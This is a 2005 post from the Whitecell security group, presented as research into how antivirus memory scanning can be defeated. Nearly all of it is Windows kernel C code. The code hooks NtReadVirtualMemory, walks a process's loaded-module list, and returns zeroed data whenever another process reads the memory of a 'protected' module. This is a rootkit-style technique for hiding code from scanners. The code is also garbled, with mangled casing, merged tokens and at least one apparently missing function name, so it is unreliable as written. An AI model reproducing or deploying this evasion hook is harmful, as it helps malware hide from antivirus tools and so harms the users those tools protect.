Research on memory Scan _ vulnerability of anti-virus software

Author:polymorphours
email:polymorphours@whitecell.org
homepage:http://www.whitecell.org
Date:2005-11-17

/*++        AUTHOR: POLYMORPHOURSDATE: 2005/1/10 through the   ntreadvirtualmemory  hooks, prevents other processes from scanning the protected module, and returns 0--*/typedef struct _ldr_data_ if other processes are found to read the protected module's memory table_entry {list_entry inloadorderlinks; list_entry inmemoryorderlinks; list_entry ininitializationorderlinks; pvoid dllbase; pvoid entrypoint; ulong sizeofimage; unicode_string fulldllname; unicode_string basedllname;/*+0x034 flags             : Uint4B+0x038 LoadCount        :  uint2b+0x03a tlsindex         : uint2b+0x03c  hashlinks        : _list_entry+0x03c sectionpointer    : ptr32 void+0x040 checksum         :  uint4b+0x044 timedAtestamp    : uint4b+0x044 loadedimports    : ptr32  void+0x048 entrypointactivationcontext : ptr32 void+0x04c patchinformation  : ptr32 void*/} ldr_data_table_entry, *pldr_data_table_entry;/*++ Function Name:  Myntreadvirtualmemory parameter: inhandleprocesshandle,inpvoidbaseaddress,outpvoidbuffer,inulongbufferlength, outpulongreturnlengthoptional function: Hide the memory of the protection module, if the memory is found to scan this block of memory, then return the encrypted data to disrupt the scan process return: ntstatus--*/ Ntstatusmyntreadvirtualmemory (Inhandleprocesshandle,inpvoidbaseaddress,outpvoidbuffer,inulongbufferlength, outpulongreturnlengthoptional) {ntstatusstatus; peprocesseprocess; PVOIDPEB; Ppeb_ldr_datapebldrdata; Pldr_data_table_entryldrdatatableheadlist; Pldr_data_table_entryldrdatatableentry; Plist_entryblink; pprotect_nodefilenode = null; booleanbhideflag = false; ulongimagemaxaddress = 0;/* #ifdef  _debugdbgprint ( ) call process: %s,  baseaddress: %08x\ n ",  psgetprocessimagefilename ( 
Psgetcurrentprocess ()  ), baseaddress ); #endif */status =obreferenceobjectbyhandle ( Processhandle,file_read_data,psprocesstype,kernelmode, (PVOID) &eprocess,null);if  ( NT_SUCCESS ( Status  )  {////  get Peb address//peb =  (PVOID) (* (Pulong) (Pchar) eprocess +  Peboffset);////  switch to target process space//keattachprocess ( eProcess );////  to determine if PEB is valid and, if valid, So prepare to use the PEB structure to traverse process loaded module//if  ( ! Mmisaddressvalid ( Peb )  )  {/* #ifdef  _debugdbgprint (  "peb is error.\n"  ) #endif */kedetachprocess (); Obdereferenceobject ( eProcess ) goto cleanup; pebldrdata =  (Ppeb_ldr_data) (* (Pulong) (  (Pchar) peb + 0xc ));if  ( ! pebldrdata )  {kedetachprocess (); Obdereferenceobject ( eProcess ); goto cleanup;} try {probeforread  ( pebldrdata,sizeof (peb_ldr_data), sizeof (ULONG));////  Traverse Module List// ldrdatatableheadlist =  (Pldr_datA_table_entry) Pebldrdata
->inloadordermodulelist.flink; Ldrdatatableentry = ldrdatatableheadlist;do {probeforread (ldrdatatableentry,sizeof (LDR_DATA_TABLE_ENTRY), sizeof ( ULONG)); if (! Ldrdatatableentry->dllbase) {ldrdatatableentry = (pldr_data_table_entry) ldrdatatableentry
->inloadorderlinks.flink;continue;} Judge read memory belongs to that module, if all do not belong, then let go of//imagemaxaddress = (ULONG) (ULONG) Ldrdatatableentry->dllbase +
Ldrdatatableentry->sizeofimage); if ((ULONG) (ULONG) baseaddress + bufferlength) <
(ULONG) Ldrdatatableentry->dllbase | | (ULONG) BaseAddress > Imagemaxaddress) {////If the module area is not read, enumerate the next//ldrdatatableentry = (pldr_data_table_entry) Ldrdatatableentry->
Inloadorderlinks.flink;continue;} If the module is protected, then the false data is returned//bhideflag = false; Blink = Protectfile.blink;while (Blink!= &protectfile) {Filenode = Containing_record (Blink, Protect_node, ActiveLi NK);////If you find that the current file exists in a hidden list, then set the hidden flag to hide it//if (Filenode->protectname, LDR
Datatableentry->fulldllname.buffer)) {bhideflag = True;break;} Blink = Blink->blink;} if (bhideflag) {////Returns the original process space for processing//kedetachprocess (); Obdereferenceobject (eprocess); Probeforwrite (buffer,bufferlength,sizeof (ULONG)); memset (Buffer, 0x00, bufferlength); Probeforwrite (Returnlength,sizeof (Pulong), sizeof (ULONG)); *returnlength = Bufferlength;return status_success;} Ldrdatatableentry = (pldr_data_table_entry) ldrdatatableentry
->inloadorderlinks.flink;} while (Ldrdatatableentry!= ldrdatatableheadlist);} Except (Exception_execute_handler) {if (!bhideflag) {kedetachprocess (); Obdereferenceobject (eprocess);} Goto CLEANUP;} Kedetachprocess (); Obdereferenceobject (eprocess);} Cleanup:return ntreadvirtualmemory (processhandle,baseaddress,buffer,bufferlength,returnlength);}



WSS (Whitecell security Systems), a non-profit nongovernmental technology organization, is committed to the study of various systems safety technologies. Adhere to the traditional hacker spirit, the pursuit of pure technology.
WSS Home: http://www.whitecell.org/
WSS Forum: http://www.whitecell.org/forums/